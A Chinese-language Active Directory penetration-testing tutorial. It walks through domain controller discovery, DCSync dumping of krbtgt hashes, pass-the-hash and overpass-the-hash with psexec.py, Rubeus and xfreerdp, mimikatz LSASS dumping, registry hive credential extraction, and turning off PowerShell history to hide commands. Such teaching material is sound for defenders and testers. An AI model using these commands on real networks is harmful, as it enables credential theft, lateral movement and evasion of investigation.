如前所述,域控制器是域的中央服务器,它运行Active Directory域服务(AD DS)。这意味着,负责保存域数据库中有关域对象的所有信息并提供Active Directory服务(如身份验证、授权、名称解析等)的是Windows Server计算机。

数据库存储在域控制器的文件C:\windows\ntds\ntds.dit中。因此,如果有人窃取了该文件,她就可以访问域对象(计算机、用户、组、策略等)的所有信息,包括用户凭据。因此,对此文件和域控制器的访问应限于域管理员。

这与域中的任何计算机必须能够与域控制器对话才能请求该数据库的信息形成鲜明对比。因此,域控制器(至少其中之一)应该可以从网络的任何部分进行访问。

通常,在一个域中会提供多个域控制器,以分配工作负载和防止单点故障。此外,与任何其他数据库服务器一样,域控制器必须相互同步,以保证数据是最新的。

此外,为了允许计算机和用户访问数据库数据,域控制器还提供了DNS、Kerberos、LDAP、SMB、RPC等一系列服务。

Domain Controllers discovery

很明显,域控制器是Active Directory中最重要的部分之一,因此,它们通常会成为渗透的目标,因此,识别域控制器是很重要的一件事情,不过,这并不是很难。

由于域控制器提供的服务范围很广,因此,攻击者可以通过多种方法来找出域的域控制器。

一种不需要任何类型身份验证的的方法,就是构建一个简单的DNS查询,来询问域的LDAP服务器(即域控制器):

PS C:\Users\Anakin> nslookup -q=srv _ldap._tcp.dc._msdcs.contoso.local
Server:  UnKnown
Address:  192.168.100.2

_ldap._tcp.dc._msdcs.contoso.local      SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc01.contoso.local
_ldap._tcp.dc._msdcs.contoso.local      SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc02.contoso.local
dc01.contoso.local      internet address = 192.168.100.2
dc02.contoso.local      internet address = 192.168.100.3

用于识别域控制器的DNS查询

此外,您还可以使用一些系统实用工具,如nltest来获取域控制器,前提是您已经拥有了相应的用户账户。

PS C:\Users\Anakin> nltest /dclist:contoso.local
Get list of DCs in domain 'contoso.local' from '\\dc01.contoso.local'.
    dc01.contoso.local [PDC]  [DS] Site: Default-First-Site-Name
    dc02.contoso.local        [DS] Site: Default-First-Site-Name
The command completed successfully

使用nltest识别域控制器

此外,如果您对一台机器进行端口扫描,得到了类似于下面的结果,那么就可以肯定扫描的对象就是域控制器:

$ nmap 192.168.100.2 -Pn -sV -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-04 11:17 CEST
Nmap scan report for 192.168.100.2
Host is up (0.00068s latency).
Not shown: 65509 filtered ports
PORT      STATE SERVICE       VERSION
42/tcp    open  tcpwrapped
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-05-04 09:19:44Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.31 seconds

扫描域控制器的Nmap服务

上面的输出结果表明有许多端口处于开放状态。下面给出这些端口提供的服务的简要说明:

  • 42 -> WINS:将NetBIOS名称解析为IP地址的集中式服务。
  • 53 -> DNS:将DNS名称解析为IP地址的服务。
  • 88 -> Kerberos:用于为用户提供Kerberos身份验证。
  • 135 -> [RPC Endpoint Mapper]:用于查找不同RPC服务的RPC端点的RPC服务。
  • 139 -> NetBIOS Session Service:Windows计算机使用的TCP的旧替代方案。它允许传输像SMB或RPC这样的协议。
  • 389 -> LDAP:用于查询/编辑域数据库。
  • 445 -> SMB:用于在计算机之间共享文件。还允许通过命名管道进行RPC调用。
  • 464 -> kpasswd:用于更改用户密码的Kerberos服务。
  • 593 -> RPC:基于HTTP的端点映射器
  • 636 -> ldaps:基于SSL的LDAP
  • 3268 -> LDAP Global Catalog:用于查询Global Catalog的服务。
  • 3269 -> LDAPS Global Catalog:用于查询Global Catalog的服务。
  • 5985 -> WinRM:使用CIM对象或Powershell远程处理远程管理计算机的服务。
  • 9389 -> ADWS:用于查询/编辑域数据库的Web服务。
  • 49152-65535 RPC Endpoints:不同RPC服务/接口用于监听客户端的随机RPC端口。

根据DC的配置来看,3389端口也处于开放状态,供RDP连接或许多其他服务使用。

Domain database dumping

最后,如果您成为了域的管理员,则可以转储域控制器数据库的内容,以便读取敏感数据,如krbtgt用户凭据,从而创建黄金票证。

为了提取数据库的内容,您可以登录域控制器,并使用ntdsutil或vssadmin在本地转储NTDS.dit文件,或者使用mimikatz lsadump::dsync命令或impacket secretsdump.py脚本执行远程dcsync攻击。

注意,发动DCSync攻击时要格外小心,因为在请求大域中的所有凭据时,接收响应的DC可能会耗尽内存并崩溃!!

$ secretsdump.py 'contoso.local/Administrator@192.168.100.2' -just-dc-user krbtgt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fe8b03404a4975e7226caf6162cfccba:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162
krbtgt:aes128-cts-hmac-sha1-96:a268f61e103134bb7e975a146ed1f506
krbtgt:des-cbc-md5:0e6d79d66b4951cd
[*] Cleaning up...

通过secretsdump发动DCSync攻击,进而获取krbtgt凭据

Windows computers

除了域控制器之外,域中还有许多其他Windows机器,它们既可用作工作站(通常是运行Windows10/8/7/Vista/XP系统),也可用作应用程序服务器(通常运行Windows Server系统)。

Windows computers discovery

您还可以使用多种技术来识别域或网络中的Windows计算机。

如果您得域中存有相关凭据,则可以直接通过LDAP查询域数据库,从而确定计算机的名称甚至操作系统。

~$ ldapsearch -H ldap://192.168.100.2 -x -LLL -W -D "anakin@contoso.local" -b "dc=contoso,dc=local" "(objectclass=computer)" "DNSHostName" "OperatingSystem"
Enter LDAP Password: 
dn: CN=DC01,OU=Domain Controllers,DC=contoso,DC=local
operatingSystem: Windows Server 2019 Standard Evaluation
dNSHostName: dc01.contoso.local

dn: CN=WS01-10,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows 10 Enterprise
dNSHostName: ws01-10.contoso.local

dn: CN=WS02-7,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows 7 Professional
dNSHostName: WS02-7.contoso.local

dn: CN=SRV01,CN=Computers,DC=contoso,DC=local
operatingSystem: Windows Server 2019 Standard Evaluation
dNSHostName: srv01.contoso.local

搜索域中的计算机

另一种技术,适用于没有凭据的情况,但需要进行网络扫描。由于Windows计算机默认开放某些端口,所以,在域环境中它们通常不受防火墙的保护。

例如,NetBIOS名称服务在137端口监听,甚至允许我们通过IP解析NetBIOS名称。您可以使用像nbtscan或nmap nbtstat脚本这样的工具进行NetBIOS扫描。

$ nbtscan 192.168.100.0/24
192.168.100.2   CONTOSO\DC01                    SHARING DC
192.168.100.7   CONTOSO\WS02-7                  SHARING
192.168.100.10  CONTOSO\WS01-10                 SHARING
*timeout (normal end of scan)

NetBIOS扫描

另外,监听端口445的一个非常流行的服务是SMB,它主要用于Windows计算机之间的通信。您可以执行端口扫描来寻找Windows计算机,甚至可以利用NTLM身份验证协商来检索计算机名称。您可以使用ntlm-info或nmap smb-os-discovery脚本进行扫描。

$ ntlm-info smb 192.168.100.0/24

Target: 192.168.100.2
NbComputer: DC01
NbDomain: CONTOSO
DnsComputer: dc01.contoso.local
DnsDomain: contoso.local
DnsTree: contoso.local
Version: 10.0.17763
OS: Windows 10 | Windows Server 2019 | Windows Server 2016

Target: 192.168.100.7
NbComputer: WS02-7
NbDomain: CONTOSO
DnsComputer: ws02-7.contoso.local
DnsDomain: contoso.local
Version: 6.1.7601
OS: Windows 7 | Windows Server 2008 R2

Target: 192.168.100.10
NbComputer: WS01-10
NbDomain: CONTOSO
DnsComputer: ws01-10.contoso.local
DnsDomain: contoso.local
DnsTree: contoso.local
Version: 10.0.19041
OS: Windows 10 | Windows Server 2019 | Windows Server 2016

SMB扫描

最后,您还可以使用nmap来扫描其他端口,如135(RCP)或139(NetBIOS会话服务)端口。

Windows computers connection

一旦发现其他Windows计算机,就可以连接这些机器以获取凭据或数据。

通常,您需要在远程计算机上执行命令来完成这些操作,为此,可以使用下列几种方式。

Connecting with RPC/SMB

第一个也可能是最常见的一个方式,就是借助于RPC与SMB。这是许多已知工具所使用的方法,例如PsExec和impacket示例中的PsExec.py、wmiexec.py以及其他*exec.py。

这些工具通常使用一些RPC接口来执行命令,并使用SMB管道发送/接收输入/输出。通常,这些工具只需要打开445端口(SMB)就可以执行命令,但有些工具(如wmiexec.py)还需要用到端口135(RPC over TCP)。

此外,这些工具还可以通过使用NT或LM哈希值来发动Pass-The-Hash攻击。impacket工具提供了一个直接使用NT或LM哈希值的参数,而为了将其与PSECEC配合使用,您必须通过Mimikatz将NT哈希值注入Windows会话中。

$ psexec.py contoso.local/Anakin@192.168.100.10 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file WFKqIQpM.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service AoRl on 192.168.100.10.....
[*] Starting service AoRl.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.

(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>whoami
nt authority\system

使用psexec.py处理NT哈希值

这样您就可以使用NTLM作为身份验证机制了,这可能不是最佳之选,因为在Active Directory中,默认情况下会启用Kerberos。

要使用Kerberos,您需要为上述工具提供Kerberos票证。对于impacket来说,您可以将ccache文件设置为供impacket使用,而在Windows中,您需要使用mimikatz或Rubeus将票证注入会话中。

为了获得所需的Kerberos票证,您可以使用用户密码、NT哈希值(Overpass-the-Hash攻击)或Kerberos密钥(Pass-The-Key)来请求一个,或者您还可以从Windows或Linux机器中窃取一个票证来用(Pass-The-Ticket攻击)。

由于Windows和Linux机器(以及面向它们的工具)使用不同的票证文件格式,因此将Linux票证传递到Windows机器时可能会遇到问题,反之亦然。不过,您可以使用ticket_converter或cerbero实现票证的格式转换。

$ getTGT.py contoso.local/Anakin -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in Anakin.ccache
$ export KRB5CCNAME=$(pwd)/Anakin.ccache
$ psexec.py contoso.local/Anakin@WS01-10 -target-ip 192.168.100.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file TwIEeeqd.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service ZQZb on 192.168.100.10.....
[*] Starting service ZQZb.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.

(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>

使用psexec.py进行Kerberos身份验证

使用Kerberos身份验证时,需要将远程计算机的主机名(DNS名或NetBIOS名)而不是其IP作为目标传递给相应的工具。这是因为Kerberos身份验证使用主机名来标识远程机器的服务,并提供相应的票证来对其进行身份验证。

如果您使用IP地址,您将显示以下错误消息:

$ psexec.py contoso.local/Anakin@192.168.100.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

使用IP地址进行Kerberos身份验证

Connecting with Powershell Remoting

通过RPC/SMB连接Windows计算机的另一种方式,就是使用Powershell Remoting,通过它,我们可以在远程计算机中获得Powershell会话。Powershell remoting服务会在端口5985上进心侦听,并且Windows Server计算机在默认情况下就会启用它。

在Windows系统上,我们可以借助Powershell提供的各种CmdLets和参数,来使用Powershell Remoting服务。在Linux机器上,您可以通过evil-winrm来使用该服务。

在RPC/SMB情况下,我们还可以使用密码、NT哈希值或Kerberos票证连接到目标计算机。使用evil-winrm,您可以将它们作为参数传递给应用程序,或者像在Impacket中那样配置ccache文件。对于Powershell cmdlets来说,您可以直接使用密码,但是如果您要使用Kerberos票证或NT哈希值的话,则需要通过Rubeus或Mimikatz来注入它们。

PS C:\> .\Rubeus.exe asktgt /user:Administrator /rc4:b73fdfe10e87b4ca5c0d957f81de6863 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: b73fdfe10e87b4ca5c0d957f81de6863
[*] Building AS-REQ (w/ preauth) for: 'contoso.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFQjCCBT6gAwIBBaEDAgEWooIETzCCBEthggRHMIIEQ6ADAgEFoQ8bDUNPTlRPU08uTE9DQUyiIjAg
      oAMCAQKhGTAXGwZrcmJ0Z3QbDWNvbnRvc28ubG9jYWyjggQFMIIEAaADAgESoQMCAQKiggPzBIID7xK3
      <!--stripped-->
      ERgPMjAyMTA1MDgwMjQzMjZapxEYDzIwMjEwNTE0MTY0MzI2WqgPGw1DT05UT1NPLkxPQ0FMqSIwIKAD
      AgECoRkwFxsGa3JidGd0Gw1jb250b3NvLmxvY2Fs
[+] Ticket successfully imported!

  ServiceName           :  krbtgt/contoso.local
  ServiceRealm          :  CONTOSO.LOCAL
  UserName              :  Administrator
  UserRealm             :  CONTOSO.LOCAL
  StartTime             :  07/05/2021 18:43:26
  EndTime               :  08/05/2021 04:43:26
  RenewTill             :  14/05/2021 18:43:26
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  95a1NmgYXwOmiyCa3qlplA==

PS C:\> Enter-PSSession -ComputerName dc01
[dc01]: PS C:\Users\Administrator\Documents> whoami
contoso\administrator
[dc01]: PS C:\Users\Administrator\Documents> hostname
dc01
[dc01]:

通过Powershell Remoting发动Overpass-the-Hash攻击

Connecting with RDP

在Windows系统中连接远程计算机的一种常见方法就是使用RDP(Remote Desktop Protocol,远程桌面协议)。在Windows计算机上,您可以通过默认客户端“Remote Desktop Connection”(mstsc)使用RDP。当然,Linux系统中也有很多优秀的客户端,比如rdesktop、freerdp或remmina。

与RPC/SMB和Powershell Remoting不同,RDP会将普通用户密码传输到目标计算机,以便缓存凭据并用于SSO(单点登录),就像用户登录到其物理计算机一样。因此,在使用RDP时,需要用到用户密码,也就是说,默认情况下是无法通过RDP来发动Pass-The-Hash攻击的。

正如我们所提到的,当通过RDP连接时,凭据会缓存在目标机器中,所以它们很容易被Mimikatz之类的工具从lsass进程中窃取。之所以缓存凭据,是为了在目标计算机上重用网络连接,但有时这是不必要的,因此在Windows 8.1/2012 R2版本中,Microsoft公司为RPD引入了Restricted Admin模式。当启用Restricted Admin时,无需发送普通凭据,因此,可以通过Pass-The-Hash/Key/Ticket来建立RDP连接。

在Linux系统中,您可以使用freerdp对RDP执行Pass-The-Hash攻击(您需要安装freerdp2-x11freerdp2-shadow-x11包,而不是本文所说的freerdp-x11)。因为您只需要提供NT哈希值即可,无需提供密码。

xfreerdp /u:Anakin@contoso.local /pth:cdeae556dc28c24b5b7b14e9df5b6e21 /v:192.168.122.143

利用freerdp发动Pass-The-Hash攻击

另一方面,在Windows系统中,您可以使用mimikatz或Rubeus来注入NT哈希值或Kerberos票证,然后使用mstsc.exe/restrictedadmin建立RDP连接,而无需提供用户密码。

1.png

已启用Restricted Admin模式

1.png

未启用Restricted Admin模式

Windows computers credentials

LSASS credentials

在Windows计算机中,查找凭据的常见位置是LSASS(Local Security Authority Subsystem Service)进程(LSASS.exe)。LSASS进程负责管理计算机的各种安全操作,包括用户身份验证。

当用户通过物理方式访问计算机或通过RDP在计算机中执行交互式登录时,用户凭据将缓存在LSASS进程中,以便在需要网络登录时使用SSO(单点登录)来访问其他域计算机。

请注意,通过NTLM或Kerberos进行身份验证的远程用户不会让缓存的凭据进入计算机(的lsass进程中),因为这些协议并没有真正将用户凭据发送给计算机(除非启用了Kerberos委派),而是提供了一个证明,比如用凭据生成的NTLM哈希值或Kerberos票证。

总之,您无法(使用mimikatz)从lsass进程提取通过NTLM或Kerberos进行身份验证的远程用户的凭据。(除非这些协议/服务像RDP那样在进行身份验证后显式发送用户的凭据,但这与NTLM或Kerberos无关)

这些凭据是由LSASS通过SSP(安全支持供应商)负责缓存的,以便实现不同的身份验证方法。以下是一些SSP:

Kerberos SSP用于处理Kerberos身份验证,负责为当前登录的用户存储票证和Kerberos密钥。
NTLMSSP或MSV SSP用于处理NTLM身份认证,负责为当前登录的用户存储NT哈希值。注意,它不会缓存所使用的凭据。
Digest SSP实现了Digest Access协议,可供HTTP应用程序使用。这是一个存储明文用户密码的SSP,以便计算摘要。即使从Windows 2008 R2开始默认禁用密码缓存后,仍然可以通过将HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential注册表项设置为1,或者直接在内存中修补Digest SSP来启用密码缓存功能。

因此,如果我们能够访问LSASS进程的内存,因为lsass是系统进程,所以需要SeDebugPrivilege权限(通常管理员才拥有该权限),我们可以检索到缓存的凭据。正如我们所看到的,这些缓存的凭据包括用户的NT哈希值、Kerberos密钥和票证,甚至在一些旧的或配置错误的机器上还包括明文形式的用户密码。

从LSASS进程中提取凭据的常用方法是使用mimikatz。我们可以直接在目标机上启动mimikatz,或者用一些工具如procdump、comsvcs.dll或werfault.exe转储LSASS内存,然后用mimikatz或pypikatz处理生成的内存转储。此外,我们还可以用lsassy远程读取转储,避免下载整个内存转储,这可能需要几兆字节。

要用mimikatz提取凭据,有几个命令是必须了解的。它们能够从登录的用户那里尝试不同的机密数据:

  • sekurlsa::logonpasswords:提取NT的哈希值和密码。
  • sekurlsa::ekeys:获取Kerberos密钥。
  • sekurlsa::ticket:检索存储在机器中的Kerberos票证。

具体来说,为了访问LSASS进程内存,需要SeDebugPrivilege权限——该权限允许用户调试其他用户的进程。通常只有管理员拥有这个权限(但如果其他用户得到了这个权限,她就可以成为管理员)。

此外,还必须在试图转储LSASS内存的进程中启用SeDebugPrivilege权限。在默认情况下,可以通过Powershell启用该权限,通过CMD禁用该权限(因此,在其子进程中也是如此)。当您启动mimikatz时,可以通过priorlege::debug命令来启用该权限。在其他情况下,你可以用Powershell启动该进程,比如powershell.exe <command>,或使用诸如如sepriv之类的工具在CMD中启用它。

C:\>.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 629376 (00000000:00099a80)
Session           : Interactive from 1
User Name         : Administrator
Domain            : CONTOSO
Logon Server      : DC01
Logon Time        : 03/05/2021 12:34:17
SID               : S-1-5-21-1372086773-2238746523-2939299801-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : CONTOSO
         * NTLM     : b73fdfe10e87b4ca5c0d957f81de6863
         * SHA1     : 88cbc713492c32909ee5deddee08c7e31c70d716
         * DPAPI    : 0c1e1d360ebc8f790ff9577fcdb60d75
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : CONTOSO
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : CONTOSO.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :

使用mimikatz转储凭据

尽管如此,您应该知道LSASS其实是能够阻止凭据被提取出来的。这可以通过Credential Guard来实现,它使用虚拟机管理程序技术(hypervisor technology)将凭据存储在操作系统之外的、更加安全的地方。但是,Credential Guard机制仍然可以被绕过。

此外,可以将lsass.exe配置为作为PPL(Protected Process Light)运行。虽然这能增加凭据提取的难度,但是,攻击者仍然可以禁用它。

Registry credentials

LSA secrets

此外,我们还可以在注册表中查找凭据。在注册表中,计算机会存储一些正常工作所需的凭据。其中一个存储敏感凭据的地方就是LSA机密。

LSA机密是位于注册表中的一个特殊存储空间中,用于保存只有SYSTEM本地账户才能访问的敏感数据。在磁盘中,LSA机密被保存在配置单元文件SECURITY中,该文件会用BootKey/SysKey(存储在配置单元文件SYSTEM中)进行加密。

PS C:\> whoami
nt authority\system
PS C:\> reg query HKLM\SECURITY\Policy\Secrets

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
    (Default)    REG_NONE

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$MACHINE.ACC
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DefaultPassword
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\NL$KM
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\_SC_mysql

LSA机密密钥

在LSA机密中,您可以找到:

  • 域计算机帐户:为了作为域的一部分工作,计算机需要具有该域中的用户帐户。因此,该计算机帐户的用户名和密码需要对操作系统可用,因此它们被存储在LSA机密中。此外,你必须知道:在默认情况下,计算机密码不必须每30天更改一次。系统本地帐户使用这个计算机帐户与域交互,但不是在本地进行交互,因此,该帐户在计算机中没有管理权限。但是,即使计算机域帐户没有管理权限,您也可以使用它创建银票或执行RBCD攻击,从而能够以管理员身份访问计算机。
  • 服务用户密码:为了代表用户运行服务,计算机需要存储其密码。但是,存储的不是密码的用户,而是服务名,因此,您可能需要调查用户名到底是什么。
  • 自动登录密码:如果启用了windows自动登录功能,密码就可以存储在LSA机密中。另一种选择是将其保存在hklm\software\microsoft\windows nt\currentversion\winlogon注册表项中的defaulusername项下。其中,域和用户名总是分别存储在DefaultDomainName和DefaultUserName中。
  • DPAPI主密钥:数据保护API(DPAPI)用于允许用户加密敏感的数据,而无需操心加密密钥。如果能够检索主密钥,则可以解密用户数据。

此外,在安全配置单元文件中,还存储了上次登录计算机时使用的域用户的凭据,称为域缓存凭据(DCC)。因此,即使与域控制器的连接失效,计算机仍可以对域用户进行身份验证。这些缓存的凭据是MSCACHEV2/MSCASH哈希值,而非NT哈希值,因此,无法通过它们发动Pass-The-Hash攻击,但您仍然可以尝试破解它们,从而获得用户密码。

SAM

另一个查找凭据的地方是SAM配置单元文件,其中含有计算机本地用户的NT哈希值。这可能很有用,因为有时组织会在域计算机中设置相同的本地管理员密码。

Dumping registry credentials

要想从SECURITY和SAM配置单元文件中获得凭据,可以使用mimikatz从内存中读取它们。

首先,你需要执行token::elevate命令来获得一个SYSTEM会话,这样就可以读取凭据了。如果需要的话,还要执行privilege::debug命令来授予SeDebugPrivilege权限。

然后,就可以执行以下命令,来检索各种凭据了:

lsadump::secrets: 获取LSA机密。
lsadump::cache: 检索缓存的域名登录凭据。
lsadump::sam: 获取本地账户凭据。

另一种方法是用reg save命令保存配置单元文件的副本,将其转移到我们的机器上,最后用impacket secretsdump脚本或mimikatz获取其内容。

首先,你需要转储注册表的配置单元。为此,需要借助于SECURITY和SAM配置单元文件以及SYSTEM配置单元,因为其中包含系统Boot Key(或System Key),可用于解密SECURITY和SAM配置单元。

C:\>reg save HKLM\SYSTEM system.bin
The operation completed successfully.

C:\>reg save HKLM\SECURITY security.bin
The operation completed successfully.

C:\>reg save HKLM\SAM sam.bin
The operation completed successfully.

保存注册表配置单元的reg命令

保存配置单元后,切换至本地计算机并使用SecretsDump来转储它们:

$ secretsdump.py -system system.bin -security security.bin -sam sam.bin  LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0xb471eae0e93128b9c8d5780c19ac9f1d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::
user:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Dumping cached domain logon information (domain/username:hash)
CONTOSO.LOCAL/anakin:$DCC2$10240#anakin#2933cad9235d2f502d7bedc2016e6553
CONTOSO.LOCAL/han:$DCC2$10240#han#4a52a6d0d7f3590c68124f4d5f7ef285
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:59aa6b91e74a0a6fc40efee9f2fb07936a9d69f46397dee82d3ec6ca4d0c01a0293d79e5c040bf564b7938d6c25597816921ec614ad25933af6a2482a8ace4d1dd54dd4bb465384b30046d85f65083e885455ec5f01dcae30df619e3f944eaa008a09e0f7432981f7cdb8dea34e432f00ed92e1ae3e48111326deb2d0f9a6e7d868e24c840b8814d338a4165f90381a4a6b824addb4f71c5908cac4423a4efbc5a4d846c09245930b526a6bec8c678ca838a005dcf5014f8b18426c3e0dbd3921f82c57e6ca025d0258d4536a9e0b68b90ff26c054c992c84d11e95f78c55ca411ee0e5b412cb4fc0f08c28ca2d79996
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:b13dae64def5f205f382a0ab4174eb85
[*] DefaultPassword 
(Unknown User):user
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x6880eb76862df7875705885938102c696717eb18
dpapi_userkey:0x828326418633117212de44bcda10806fc6765d4a
[*] NL$KM 
 0000   0B BC 2E DB A1 A7 E2 42  56 6D B8 4B 5A 37 79 A4   .......BVm.KZ7y.
 0010   53 51 75 6D 64 7F 9A BF  DC BF C2 83 F4 64 02 A6   SQumd........d..
 0020   5E E8 53 AB E5 4B 35 A4  5B 19 7E 97 E0 CA 32 6C   ^.S..K5.[.~...2l
 0030   77 68 E8 F1 C0 54 AD 7B  03 F7 BE 59 2E 59 C3 93   wh...T.{...Y.Y..
NL$KM:0bbc2edba1a7e242566db84b5a3779a45351756d647f9abfdcbfc283f46402a65ee853abe54b35a45b197e97e0ca326c7768e8f1c054ad7b03f7be592e59c393
[*] _SC_mysql 
(Unknown User):Solo1234!
[*] Cleaning up...

Secretsdump脚本的用法

其中,Dumping cached domain logon information部分包含有域缓存凭据。为了破解它们,您需要将它们保存为$DCC2$10240#username#hash格式,然后就可以应用Hashcat了。

另外,$machine.acc部分含有计算机帐户密码(以十六进制编码)以及NT哈希值。

同时,DefaultPassword部分则包含自动登录密码。为了获得域和用户名,您需要检查hklm\software\microsoft\windows nt\currentversion\winlogon注册表项的DefaultDomainName和DefaultUserName。

之后,DPAPI_SYSTEM部分则包含系统的主DPAPI密钥。这些密钥可用于解密用户文件。

而NK$LM则为我们提供了用于加密域缓存凭据的密钥,但是由于secretsdump已经对它们进行了解密,所以仅供参考。

最后,具有_SC_<service>格式的条目用于表示运行服务的用户的密码。在本例中,就是mysql服务。虽然我们不知道服务用户的用户名,但我们可以在计算机中找到它们。

PS C:\> Get-WmiObject win32_service -Filter "name='mysql'" | select -ExpandProperty startname
CONTOSO\han

显示运行mysql服务的用户账户

Powershell history

除了LSASS进程和注册表之外,您还可以在其他地方搜索凭据,如用户的Powershell历史记录。您可以使用以下命令来定位和读取Powershell历史记录。

(Get-PSReadlineOption).HistorySavePath

获取当前用户的Powershell历史记录路径

Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

检查所有用户的Powershell历史记录

另外,您可以使用以下命令来避免在Powershell历史记录中存储自己的命令:

Set-PSReadlineOption -HistorySaveStyle SaveNothing

禁用Powershell历史记录

Other places to find credentials in Windows

而且,我们还可以在计算机中的脚本或配置文件中搜索凭据。此外,还有有很多软件,如浏览器,也会存储凭据;要想了解存储凭据的软件清单,可以参阅LaZagne项目。

